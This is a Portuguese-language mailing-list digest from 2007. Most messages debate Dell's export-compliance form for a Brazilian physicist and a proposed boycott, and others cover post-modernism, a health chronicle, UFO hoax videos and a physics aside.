> Segundo a empresa, ele deveria ser assinado antes da entrega das máquinas
e
> impresso em papel timbrado da universidade.
> Uma das cláusulas do termo determina: "Não transferiremos, exportaremos,
ou
> reexportaremos, direta ou indiretamente, quaisquer produtos adquiridos da
> Dell para: Cuba, Irã, Coréia do Norte, Sudão, e/ou Síria, ou a qualquer
> estrangeiro com dupla nacionalidade, ou a qualquer outro país sujeito a
> restrições sob leis e regulamentos aplicáveis onde não estejamos situados,
> sob o controle de um indivíduo natural ou residente deste país".
> Outro termo: "Não utilizaremos os produtos em qualquer atividade
relacionada
> ao desenvolvimento, produção, uso, ou manutenção de "Armas de Destruição
em
> Massa", incluindo (...) usos relacionados ao desenvolvimento míssil,
> nuclear, e/ ou químico/biológico (...) Se estivermos engajados nestas
> atividades, estamos cientes de que estaremos sujeitos aos regulamentos de
> Licença de Exportação dos Estados Unidos".
> Segundo Gomes, a exigência foi feita depois que ele se identificou como
> físico ao fazer o pedido de compra. "A vendedora me informou que as
ligações
> foram gravadas, então, como era para um instituto de física, eu precisava
> assinar", contou.
> Revoltado, o físico disse que não assinaria. "Eu não tenho de prestar
> satisfação a ninguém, nem sou obrigado a seguir as políticas americanas.
Sou
> comprador, não estou recebendo doação. Além do mais, tenho interação com
> físicos cubanos, da qual não vou abrir mão."
> Àquela altura, as máquinas já haviam sido entregues. Gomes disse que
> devolveria os computadores, desde que a Dell devolvesse todo o dinheiro e
> mandasse uma carta ao Instituto de Física da UFF, para ser encaminhada ao
> CNPq -de onde saiu a verba para a compra-, justificando a restrição.
> A nota da empresa, encaminhada à Folha por sua assessoria de imprensa,
> afirma que a Dell, como empresa americana, deve seguir as leis e
> regulamentos de exportação dos EUA
> "Caso deixemos de cumprir essas exigências da legislação americana, a
nossa
> empresa-mãe no exterior (Dell, Inc.) poderá ser severamente penalizada
pelas
> autoridades dos EUA. Em última análise (...) poderá ser impedida de
> exportar."
> O caso foi relatado à SBF (Sociedade Brasileira de Física), ao ministro da
> Ciência e Tecnologia, Sergio Rezende, e a membros do Conselho Consultivo
do
> CNPq, e já circula pela internet entre os físicos desde o feriado. "Há
mais
> de 50 e-mails pedindo o boicote à Dell", diz. Segundo Gomes, a SBF vai
> sugerir a seus associados que não comprem computadores da marca. Procurado
> pela Folha, o vice-presidente da entidade, Paulo Murilo Oliveira, não quis
> revelar sua posição oficial.
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Físico pede boicote à Dell após veto a "eixo do mal"
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 12/09/2007 17:57

Fonte: REDETEC

*Físico pede boicote à Dell após veto a "eixo do mal"*

*Folha de São Paulo, 12/09/2007*

Um grupo de físicos brasileiros está pedindo que acadêmicos no país inteiro
boicotem a Dell, a segunda maior fabricante de computadores do mundo.
O pedido, que circula na internet, foi feito depois que a empresa exigiu que
um pesquisador assinasse um termo, ao comprar máquinas da empresa, no qual
se comprometia a não usá-las "na produção de armas de destruição em massa" e
não transferir os equipamentos a cidadãos de Cuba, Irã, Coréia do Norte,
Sudão e Síria.
O termo de compromisso, conhecido como "Export Compliance", foi mandado em
31 de agosto ao físico nuclear Paulo Gomes, da Universidade Federal
Fluminense, que havia comprado dois computadores Dell para seu laboratório.
Segundo a empresa, ele deveria ser assinado antes da entrega das máquinas e
impresso em papel timbrado da universidade.
Uma das cláusulas do termo determina: "Não transferiremos, exportaremos, ou
reexportaremos, direta ou indiretamente, quaisquer produtos adquiridos da
Dell para: Cuba, Irã, Coréia do Norte, Sudão, e/ou Síria, ou a qualquer
estrangeiro com dupla nacionalidade, ou a qualquer outro país sujeito a
restrições sob leis e regulamentos aplicáveis onde não estejamos situados,
sob o controle de um indivíduo natural ou residente deste país".
Outro termo: "Não utilizaremos os produtos em qualquer atividade relacionada
ao desenvolvimento, produção, uso, ou manutenção de "Armas de Destruição em
Massa", incluindo (...) usos relacionados ao desenvolvimento míssil,
nuclear, e/ ou químico/biológico (...) Se estivermos engajados nestas
atividades, estamos cientes de que estaremos sujeitos aos regulamentos de
Licença de Exportação dos Estados Unidos".
Segundo Gomes, a exigência foi feita depois que ele se identificou como
físico ao fazer o pedido de compra. "A vendedora me informou que as ligações
foram gravadas, então, como era para um instituto de física, eu precisava
assinar", contou.
Revoltado, o físico disse que não assinaria. "Eu não tenho de prestar
satisfação a ninguém, nem sou obrigado a seguir as políticas americanas. Sou
comprador, não estou recebendo doação. Além do mais, tenho interação com
físicos cubanos, da qual não vou abrir mão."
Àquela altura, as máquinas já haviam sido entregues. Gomes disse que
devolveria os computadores, desde que a Dell devolvesse todo o dinheiro e
mandasse uma carta ao Instituto de Física da UFF, para ser encaminhada ao
CNPq -de onde saiu a verba para a compra-, justificando a restrição.
A nota da empresa, encaminhada à Folha por sua assessoria de imprensa,
afirma que a Dell, como empresa americana, deve seguir as leis e
regulamentos de exportação dos EUA
"Caso deixemos de cumprir essas exigências da legislação americana, a nossa
empresa-mãe no exterior (Dell, Inc.) poderá ser severamente penalizada pelas
autoridades dos EUA. Em última análise (...) poderá ser impedida de
exportar."
O caso foi relatado à SBF (Sociedade Brasileira de Física), ao ministro da
Ciência e Tecnologia, Sergio Rezende, e a membros do Conselho Consultivo do
CNPq, e já circula pela internet entre os físicos desde o feriado. "Há mais
de 50 e-mails pedindo o boicote à Dell", diz. Segundo Gomes, a SBF vai
sugerir a seus associados que não comprem computadores da marca. Procurado
pela Folha, o vice-presidente da entidade, Paulo Murilo Oliveira, não quis
revelar sua posição oficial.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Físico pede boicote à Dell após veto a "eixo do mal"
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/09/2007 18:44

Realmente, isto é inusitado e...estranho. Já comprei computadores da Dell
para colocar em sistemas de cftv. Inclusive, todos os computadores da
Empresa contrante são da Dell. Todas as vezes fiz compras via internet. Em
nenhum momento exigiram de mim algo absurdo do tipo, ou dos clientes, ao
menos dos que conheço,e que usam pc´s dessa Empresa. Vai ver que foram com
os meus cabelos que faltam e com os meus olhos que não são verdes!

E qual a razão de um comportamento assim? Apenas em razão de o moço lá ser
físico? Tinha muita graça! Continuo achando que tem ruído branco na linha.

Estranho, muito estranho.

Sds,

Victor



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Esteban Moreno
Enviada em: quarta-feira, 12 de setembro de 2007 17:57
Para: undisclosed-recipients:
Assunto: [ciencialist] Físico pede boicote à Dell após veto a "eixo do mal"



Fonte: REDETEC

*Físico pede boicote à Dell após veto a "eixo do mal"*

*Folha de São Paulo, 12/09/2007*

Um grupo de físicos brasileiros está pedindo que acadêmicos no país inteiro
boicotem a Dell, a segunda maior fabricante de computadores do mundo.
O pedido, que circula na internet, foi feito depois que a empresa exigiu que
um pesquisador assinasse um termo, ao comprar máquinas da empresa, no qual
se comprometia a não usá-las "na produção de armas de destruição em massa" e
não transferir os equipamentos a cidadãos de Cuba, Irã, Coréia do Norte,
Sudão e Síria.
O termo de compromisso, conhecido como "Export Compliance", foi mandado em
31 de agosto ao físico nuclear Paulo Gomes, da Universidade Federal
Fluminense, que havia comprado dois computadores Dell para seu laboratório.
Segundo a empresa, ele deveria ser assinado antes da entrega das máquinas e
impresso em papel timbrado da universidade.
Uma das cláusulas do termo determina: "Não transferiremos, exportaremos, ou
reexportaremos, direta ou indiretamente, quaisquer produtos adquiridos da
Dell para: Cuba, Irã, Coréia do Norte, Sudão, e/ou Síria, ou a qualquer
estrangeiro com dupla nacionalidade, ou a qualquer outro país sujeito a
restrições sob leis e regulamentos aplicáveis onde não estejamos situados,
sob o controle de um indivíduo natural ou residente deste país".
Outro termo: "Não utilizaremos os produtos em qualquer atividade relacionada
ao desenvolvimento, produção, uso, ou manutenção de "Armas de Destruição em
Massa", incluindo (...) usos relacionados ao desenvolvimento míssil,
nuclear, e/ ou químico/biológico (...) Se estivermos engajados nestas
atividades, estamos cientes de que estaremos sujeitos aos regulamentos de
Licença de Exportação dos Estados Unidos".
Segundo Gomes, a exigência foi feita depois que ele se identificou como
físico ao fazer o pedido de compra. "A vendedora me informou que as ligações
foram gravadas, então, como era para um instituto de física, eu precisava
assinar", contou.
Revoltado, o físico disse que não assinaria. "Eu não tenho de prestar
satisfação a ninguém, nem sou obrigado a seguir as políticas americanas. Sou
comprador, não estou recebendo doação. Além do mais, tenho interação com
físicos cubanos, da qual não vou abrir mão."
Àquela altura, as máquinas já haviam sido entregues. Gomes disse que
devolveria os computadores, desde que a Dell devolvesse todo o dinheiro e
mandasse uma carta ao Instituto de Física da UFF, para ser encaminhada ao
CNPq -de onde saiu a verba para a compra-, justificando a restrição.
A nota da empresa, encaminhada à Folha por sua assessoria de imprensa,
afirma que a Dell, como empresa americana, deve seguir as leis e
regulamentos de exportação dos EUA
"Caso deixemos de cumprir essas exigências da legislação americana, a nossa
empresa-mãe no exterior (Dell, Inc.) poderá ser severamente penalizada pelas
autoridades dos EUA. Em última análise (...) poderá ser impedida de
exportar."
O caso foi relatado à SBF (Sociedade Brasileira de Física), ao ministro da
Ciência e Tecnologia, Sergio Rezende, e a membros do Conselho Consultivo do
CNPq, e já circula pela internet entre os físicos desde o feriado. "Há mais
de 50 e-mails pedindo o boicote à Dell", diz. Segundo Gomes, a SBF vai
sugerir a seus associados que não comprem computadores da marca. Procurado
pela Folha, o vice-presidente da entidade, Paulo Murilo Oliveira, não quis
revelar sua posição oficial.

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: A emergência da pós-pós-modernidade
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/09/2007 19:01


Para mim, a modernidade está mais para a destruição do velho (o
Ancien Régime), do que para a construção de algo realmente novo. Mas
pelo menos, ao destruir toda a ordem tradicional, ela colocou a razão
e o conhecimento em seu lugar. A crença de que podemos conhecer o
mundo e desta forma reformá-lo tornando-o um lugar melhor. A pós-
modernidade refuta até mesmo essa idéia, e diz que não é possível
conhecer as coisas. As idéias apenas dizem respeito a um determinado
momento histórico, ou uma determinada classe, e nada dizem respeito à
verdade. O que sobra então? Nada. Sem bases teóricas seguras e
confiáveis, ficamos impotentes para agir no mundo. É a era da apatia.
Os intelectuais se abstêm de afirmar qualquer coisa ficando apenas
fazendo críticas. É um movimento terminal, afinal, o que poderia se
suceder ao pós-modernismo? Através de qual caminho ele poderia se
desenvolver? Não parece haver saída. Quando o pensamento surgiu na
Grécia, seu objetivo era compreender como as coisas são; afinal, se
os pensadores não estão buscando conhecer a verdade, eles estão
buscando o que? A rejeição da idéia de que podemos entender as coisas
é o fim do pensamento. São os inimigos do conhecimento. A anti-
filosofia.

Uma nova maneira de pensar o ser humano, no entanto, está se
desenvolvendo a partir das neurociências cognitivas. Ela é
radicalmente diferente da visão filosófica tradicional, que vê o
homem como um semi-deus ou algo assim, e promoverá um grande impacto
sobre o pensamento social. As implicações filosóficas desta nova
visão são profundas. Tudo muda com a adoção deste novo paradigma. O
momento que estamos vivendo é muito interessante na história do
pensamento. Estamos passando por uma grande revolução. Esta revolução
já estava de fato se configurando no final do século XIX através de
Darwin, Marx, William James e Freud, mas no século XX as correntes
pós-modernas tomaram o poder e o novo paradigma foi esquecido,
entrando para a clandestinidade e se desenvolvendo lentamente através
de Konrad Lorentz e, posteriormente, Hamiltton, Trivers entre outros
que são considerados os fundadores da sociobiologia. A partir de 1980
o novo paradigma começou a ser adotado pela psicologia cognitiva
através de pesquisadores como Steven Pinker e John Tooby, pela
antropologia através de Robin Fox, e pela filosofia através de
Dawkins e Dennett, sendo reconhecido por um grande número de
pensadores. No momento atual esta nova visão está em sua idade
heróica. É de acordo com ela que eu abordo as sociedades modernas em
um livro que publiquei na web, cujo link já postei nesta lista, mas
que agora mudou de endereço:

http://novaordem2003.googlepages.com/novaordem.htm

Nos primeiros capítulos eu mostro como o pós-modernismo é na verdade
o fim da antiga visão semi-divina do homem; o último bastião de
resistência contra a nova abordagem que está nascendo.




SUBJECT: A ERA DE 1 MINUTO
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 12/09/2007 21:00

__________________________________________________________________


DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 12/09/2007 - No.061 – ANO II
http://br.groups.yahoo.com/group/saudeparatodos


© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).
___________________________________________________________________


Olá,

Como foi seu feriado de 7 de setembro? Ficou aí colocando o serviço em dia ou aproveitou a folga para ampliar horizontes, relaxar, viajar...?

Da minha parte, eu um dos orgulhosos fundadores da AWA – Associação dos Workahólicos Anônimos -, posso lhe dizer que quase entrei em abstinência ao embarcar em uma viagem para Brasília, para o casamento de um primo e alguns dias do mais puro nada-a-fazer.

No intervalo, revendo familiares que eu ainda nem conhecia, percebi como essa doença chamada Pressa está se impregnando em nossos genes, e como podemos avançar muito quando simplesmente paramos um pouco. Lugares comuns à parte, o fato é que o verdadeiro crescimento não depende da distância que você percorreu ao longo de décadas, mas do que conseguiu aprender em cada minuto do caminho.

e por falar em caminho, minuto e pressa, esta é exatamente a tônica da crônica de hoje, que você pode ler no blog – dralessandroloiola.blogspot.com – ou logo abaixo.

Nos vemos adiante!

Um abraço,

Dr. Alessandro Loiola


___________________________________________________________________


A ERA DE UM MINUTO

© Dr. Alessandro Loiola



Antibióticos que matam infecções até na casa do seu vizinho, células-tronco que curam o incurável, cirurgias complexas feitas com incisões mínimas. Os avanços médicos seguem em uma progressão alucinante, como se a fonte da juventude estivesse na próxima esquina. E a próxima esquina nunca pareceu estar tão próxima.

Durante uma dessas avalanches de notícias científicas, me dei conta de algo incômodo. Percebi que, para além da Era dos Milagres da Biotecnologia, estamos correndo a toda velocidade na Era de 1 Minuto. Este padrão de conduta – quase uma seita - vem se impregnando profundamente em nosso comportamento.

Por exemplo: sabe o que faz com que os chefes troquem os funcionários que ainda não se adaptaram por funcionários novos que não se adaptaram ainda? Exatamente, ela, a Era de 1 Minuto. A essência está na rapidez: o sujeito deve vir acabado, sem bordas ou arestas, prontinho para ser colocado na engrenagem.

A Era de 1 Minuto também vem estendendo seus tentáculos na vida conjugal. Os casamentos parecem durar menos que a Lua de Mel. Você mal se encontrou nas fotos da festa – “puxa, olha como eu estava mais magro!” - e eles já estão terminando tudo porque ela ronca ou faz barulho quando mastiga, ou ele não corta as unhas do pé ou conversa apontando com o garfo durante as refeições.

Inebriados pela filosofia desta nova Era, os jovens casais querem encontrar no outro uma sandália que não desgasta, não tem cheiro e não solta as tiras. E, de preferência, que esteja (sempre) à disposição para uma massagem relaxante no final do dia. Se não for assim, bom, paciência. A fila anda. Que venha o próximo pretendente a cônjuge-minuto.

A Medicina não poderia passar impune. Na verdade, ela está repleta de queixas e sindicâncias contra médicos que não resolveram o problema do paciente utilizando as fantásticas técnicas da Era de 1 Minuto. Para quem olha de fora, médico bom é o que resolve rápido – nem que seja com altas doses de Charlatanicina associada a Embromanol. Para quem olha de dentro, a impressão que fica é de que a relação médico-paciente está fugindo da construção de um compromisso no longo prazo e se aproximando de um prato instantâneo de Miojo. Sem molho.

As pessoas passam anos empurrando a hipertensão arterial com a barriga empanzinada de sedentarismo, acham que sobrepeso é sinal de prosperidade e acreditam piamente que diabetes é aquela doença que só dá nos outros. Um belo dia, ao receberem uma receita com a conta dos anos de maus tratos ao próprio corpo, a ficha cai. “Toca aí para o consultório rápido, seu motorista, que eu tenho que resolver isso hoje sem falta !”.

O sempre genial Millôr Fernandes uma vez escreveu que o defunto é o produto final da humanidade. Nós, vivos, somos apenas a matéria-prima. Moral da história à parte, é verdade que passamos décadas nos preocupado demais com coisas que jamais acontecerão, e deixamos de prestar a devida atenção às sementes que plantamos no caminho. No derradeiro instante em que tomamos consciência, queremos tudo resolvido de imediato. Pois bem: esqueça as saídas mágicas no último minuto. Ninguém virá lhe resgatar milagrosamente de suas próprias escolhas. Acredite ou não, a isso se chama responsabilidade.

Cuide-se, seja vigilante com sua saúde, ame intensamente sua família, viva sem preguiça, mas também sem pressa de viver. E fuja das promessas da Era de 1 Minuto. Mesmo quando concretizadas, elas não duram muito mais que isso.

A ânsia dos habitantes do mundo moderno, que querem ver todos os seus problemas – desde os financeiros até os de saúde – resolvidos num piscar de olhos, me lembrou uma pequena parábola Oriental. Uma certa tarde, o jovem discípulo foi acometido de uma intensa infecção intestinal e correu ao único banheiro do mosteiro, mas encontrou-o ocupado pelo seu Mestre. Muito respeitoso e segurando a duras penas seus esfíncteres, o discípulo perguntou apressado:
- Mestre, quanto tempo é 1 minuto?
O mestre pensou, pensou, e respondeu lá do trono com toda paciência:
- Meu filho, 1 minuto pode ser a Eternidade.
- E o que é a Eternidade, mestre?
- Você saberá em 1 minuto.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança”. Atualmente reside e clinica em Belo Horizonte, Minas Gerais.
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Físico pede boicote à Dell após veto a "eixo do mal"
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/09/2007 21:58

A Dell pode ser inocente nessa história. Uma empresa deve seguir as
leis. Se a lei veta a exportação em certas condições, então a empresa
deve deixar de exportar nessas condições. Ou se a lei exige q certas
formalidades sejam cumpridas, a empresa deve obedecer tais formalidades.

Mas há computadores melhores (ou tão bons qto), de linha, e (bem) mais
baratos.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Físico pede boicote à Dell após veto a "eixo do mal"
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/09/2007 22:27

Não vou deixar de usar meu Dell por causa disso, mas eu poderia até pensar
nessa possibilidade, caso a Dell afirmasse que gosta de ver seus
computadores usados para construir bombas e colaborar com ditaduras...

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br



----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, September 12, 2007 9:58 PM
Subject: [ciencialist] Re: Físico pede boicote à Dell após veto a "eixo do
mal"


A Dell pode ser inocente nessa história. Uma empresa deve seguir as
leis. Se a lei veta a exportação em certas condições, então a empresa
deve deixar de exportar nessas condições. Ou se a lei exige q certas
formalidades sejam cumpridas, a empresa deve obedecer tais formalidades.

Mas há computadores melhores (ou tão bons qto), de linha, e (bem) mais
baratos.

[]s,

Roberto Takata



SUBJECT: Vídeo: Luzes no Peru e a Fraude dos OVNIs no Haiti
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 13/09/2007 00:23

Vídeo: Luzes no Peru e a Fraude dos OVNIs no
Haiti<http://100nexos.com/arquivo/280>
Assista ao vídeo <http://100nexos.com/videos>

Primeiro episódio da série 100nexos <http://100nexos.com/videos>. Aqui,
abordamos os vídeos de supostas "luzes de terremotos" no Peru e a fabulosa
fraude dos "OVNIs no Haiti".


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Efeito mexida ... era ... uma besta quadrada
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/09/2007 05:50

Bem, eu não falei que "durante a mexida, as maiores e mais pesadas vão
para cima". Mas que a borra que fica em baixo (entre as quais
alguns "pedregulhos", desses de quebrar um dente) sobe, isso acontece.

[]s
Manuel Bulcão


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Bulcão destaca:
>
> > ... no entanto, são como o grosso do sal e dos
> pedregulhos de uma panela de sopa muito mexida: a tendência é de toda
> a borra emergir, manter-se na superfície.<
>
> Alguém lembra o nome desse notável efeito físico? "Durante a mexida,
as maiores e mais pesadas vão para cima."
>
> Léo
>




SUBJECT: ENC: [ciencialist] Físico pede boicote à Dell após veto a "eixo do mal"
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/09/2007 06:54

Não importa muito, mas devo corrigir o texto abaixo, para eliminar as
cócegas de meu juizo.



>Vai ver que foram com
os meus cabelos que faltam e com os meus olhos que não são verdes!



Deve ser lido como: Vai ver que foram os
cabelos que me faltam e meus olhos, que não são verdes, que sugeriram à
Dell não me exigisse tais coisas, tão absurdas!



Sds,

Victor.






De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de J.Victor
Enviada em: quarta-feira, 12 de setembro de 2007 18:44
Para: ciencialist@yahoogrupos.com.br
Assunto: RES: [ciencialist] Físico pede boicote à Dell após veto a "eixo do
mal"



Realmente, isto é inusitado e...estranho. Já comprei computadores da Dell
para colocar em sistemas de cftv. Inclusive, todos os computadores da
Empresa contrante são da Dell. Todas as vezes fiz compras via internet. Em
nenhum momento exigiram de mim algo absurdo do tipo, ou dos clientes, ao
menos dos que conheço,e que usam pc´s dessa Empresa. Vai ver que foram com
os meus cabelos que faltam e com os meus olhos que não são verdes!

E qual a razão de um comportamento assim? Apenas em razão de o moço lá ser
físico? Tinha muita graça! Continuo achando que tem ruído branco na linha.

Estranho, muito estranho.

Sds,

Victor

De: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
[mailto:ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> ]
Em nome de Esteban Moreno
Enviada em: quarta-feira, 12 de setembro de 2007 17:57
Para: undisclosed-recipients:
Assunto: [ciencialist] Físico pede boicote à Dell após veto a "eixo do mal"

Fonte: REDETEC

*Físico pede boicote à Dell após veto a "eixo do mal"*

*Folha de São Paulo, 12/09/2007*

Um grupo de físicos brasileiros está pedindo que acadêmicos no país inteiro
boicotem a Dell, a segunda maior fabricante de computadores do mundo.
O pedido, que circula na internet, foi feito depois que a empresa exigiu que
um pesquisador assinasse um termo, ao comprar máquinas da empresa, no qual
se comprometia a não usá-las "na produção de armas de destruição em massa" e
não transferir os equipamentos a cidadãos de Cuba, Irã, Coréia do Norte,
Sudão e Síria.
O termo de compromisso, conhecido como "Export Compliance", foi mandado em
31 de agosto ao físico nuclear Paulo Gomes, da Universidade Federal
Fluminense, que havia comprado dois computadores Dell para seu laboratório.
Segundo a empresa, ele deveria ser assinado antes da entrega das máquinas e
impresso em papel timbrado da universidade.
Uma das cláusulas do termo determina: "Não transferiremos, exportaremos, ou
reexportaremos, direta ou indiretamente, quaisquer produtos adquiridos da
Dell para: Cuba, Irã, Coréia do Norte, Sudão, e/ou Síria, ou a qualquer
estrangeiro com dupla nacionalidade, ou a qualquer outro país sujeito a
restrições sob leis e regulamentos aplicáveis onde não estejamos situados,
sob o controle de um indivíduo natural ou residente deste país".
Outro termo: "Não utilizaremos os produtos em qualquer atividade relacionada
ao desenvolvimento, produção, uso, ou manutenção de "Armas de Destruição em
Massa", incluindo (...) usos relacionados ao desenvolvimento míssil,
nuclear, e/ ou químico/biológico (...) Se estivermos engajados nestas
atividades, estamos cientes de que estaremos sujeitos aos regulamentos de
Licença de Exportação dos Estados Unidos".
Segundo Gomes, a exigência foi feita depois que ele se identificou como
físico ao fazer o pedido de compra. "A vendedora me informou que as ligações
foram gravadas, então, como era para um instituto de física, eu precisava
assinar", contou.
Revoltado, o físico disse que não assinaria. "Eu não tenho de prestar
satisfação a ninguém, nem sou obrigado a seguir as políticas americanas. Sou
comprador, não estou recebendo doação. Além do mais, tenho interação com
físicos cubanos, da qual não vou abrir mão."
Àquela altura, as máquinas já haviam sido entregues. Gomes disse que
devolveria os computadores, desde que a Dell devolvesse todo o dinheiro e
mandasse uma carta ao Instituto de Física da UFF, para ser encaminhada ao
CNPq -de onde saiu a verba para a compra-, justificando a restrição.
A nota da empresa, encaminhada à Folha por sua assessoria de imprensa,
afirma que a Dell, como empresa americana, deve seguir as leis e
regulamentos de exportação dos EUA
"Caso deixemos de cumprir essas exigências da legislação americana, a nossa
empresa-mãe no exterior (Dell, Inc.) poderá ser severamente penalizada pelas
autoridades dos EUA. Em última análise (...) poderá ser impedida de
exportar."
O caso foi relatado à SBF (Sociedade Brasileira de Física), ao ministro da
Ciência e Tecnologia, Sergio Rezende, e a membros do Conselho Consultivo do
CNPq, e já circula pela internet entre os físicos desde o feriado. "Há mais
de 50 e-mails pedindo o boicote à Dell", diz. Segundo Gomes, a SBF vai
sugerir a seus associados que não comprem computadores da marca. Procurado
pela Folha, o vice-presidente da entidade, Paulo Murilo Oliveira, não quis
revelar sua posição oficial.

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Físico pede boicote à Dell após veto a "eixo do mal"
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/09/2007 08:45

Ouvi essa mesma historia de restricoes de uso quando a Ufrgs comprou
o supercomputador Cray.
Alguns aumentavam dizendo que o contrato dava autorizacao para o
computador ser destruido se os EUA desejassem.

Se as historias sao verdadeiras, ou paranoia, nao sei.

Ateh
Luis Brudna


On 9/13/07, Alvaro Augusto (L) <alvaro@lunabay.com.br> wrote:
>
>
>
> Não vou deixar de usar meu Dell por causa disso, mas eu poderia até pensar
> nessa possibilidade, caso a Dell afirmasse que gosta de ver seus
> computadores usados para construir bombas e colaborar com ditaduras...
>
> [ ]s
>
> Alvaro Augusto de Almeida
> http://www.alvaroaugusto.com.br
> alvaro@lunabay.com.br
>
> ----- Original Message -----
> From: "rmtakata" <roberto.takata@bol.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, September 12, 2007 9:58 PM
> Subject: [ciencialist] Re: Físico pede boicote à Dell após veto a "eixo do
> mal"
>
> A Dell pode ser inocente nessa história. Uma empresa deve seguir as
> leis. Se a lei veta a exportação em certas condições, então a empresa
> deve deixar de exportar nessas condições. Ou se a lei exige q certas
> formalidades sejam cumpridas, a empresa deve obedecer tais formalidades.
>
> Mas há computadores melhores (ou tão bons qto), de linha, e (bem) mais
> baratos.
>
> []s,
>
> Roberto Takata
>
>


SUBJECT: Re: [ciencialist] Físico pede boicote à Dell após veto a "eixo do mal"
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/09/2007 10:24

Tem razão, Victor. Tem mais coisa debaixo desse tapete.
Abaixo mais algumas noticias no rastro da primeira:

=========================================
Dell mira Eixo do Mal e acerta físico brasileiro

A simples compra de um computador fabricado pela multinacional Dell
transformou-se num incidente diplomático entre a empresa e um físico da
Universidade Federal Fluminense (UFF) -- incidente que pode acabar
envolvendo toda a comunidade científica brasileira. Ao saber que os produtos
se destinavam a um instituto de física, a Dell exigiu a assinatura de um
termo de compromisso, no qual o pesquisador se comprometeria a não
transferir sob hipótese nenhuma os PCs a cidadãos ou residentes de países do
chamado "Eixo do Mal" definido pelo governo dos Estados Unidos -- Cuba, Irã,
Coréia do Norte, Sudão e Síria. A matriz da Dell é norte-americana.


O físico da UFF envolvido na confusão, Paulo Roberto Silveira Gomes, contou
ao G1 que se recusou a assinar o documento, enviado a ele depois que os
computadores já tinham sido entregues pela Dell. Ele colabora regularmente
com pesquisadores cubanos, alguns radicados no Brasil e outros em Cuba. "Não
cabe aos EUA saber o que eu faço com as coisas que eu compro. Se o Bush
estivesse me doando os computadores, ainda vá lá", afirma. Gomes contou sua
história para os principais grupos de físicos do país, e a atitude da Dell
gerou revolta. Já há cientistas falando em boicote à empresa.


"O mais estranho é que eu tinha comprado dois outros computadores deles
neste ano e não tinha precisado de nada disso", conta Gomes. Quem negociou a
compra dos PCs foi um colega do físico, que é cubano e mora no Brasil há
anos. A transação foi concluída no começo de agosto, os computadores
chegaram à UFF no fim do mesmo mês, mas após a entrega a Dell voltou a
entrar em contato com os pesquisadores, solicitando a assinatura do termo de
compromisso.


"Eles disseram que as ligações telefônicas para a compra dos equipamentos
tinham sido gravadas e, como tinha ficado claro que se tratava de material
para um instituto de física, o procedimento era necessário", afirma o
pesquisador da UFF. Os principais elementos do termo eram: a exigência de
não transferir, exportar ou re-exportar os produtos adquiridos para o "Eixo
do Mal", para qualquer estrangeiro com dupla nacionalidade, natural ou
residente dos países em questão; não utilizar os produtos para qualquer
atividade ligada a armas de destruição em massa de qualquer tipo ou
transferi-los para qualquer pessoa ou grupo envolvidos nessas atividades; e
nem transferir os computadores para qualquer pessoa ou grupo embargados pelo
governo dos Estados Unidos.


"Disse que não assinaria os documentos em hipótese nenhuma, por questão de
princípio. Mas, do ponto de vista técnico, também havia razões para não
assinar, pois trabalho com um professor estrangeiro da UFF que está se
naturalizando brasileiro e possuo forte interação com físicos cubanos. Se eu
assinasse, essas colaborações teriam de cessar", afirma o cientista. Embora
trabalhe com física nuclear, Gomes diz considerar absurda qualquer
preocupação de segurança por parte do governo dos EUA com sua pesquisa. "Não
tem nada de armamento nuclear no que estamos fazendo, está tudo publicado em
revistas internacionais", reclama.


Os PCs foram adquiridos com financiamento do CNPq (Conselho Nacional de
Desenvolvimento Científico e Tecnológico), principal órgão de fomento à
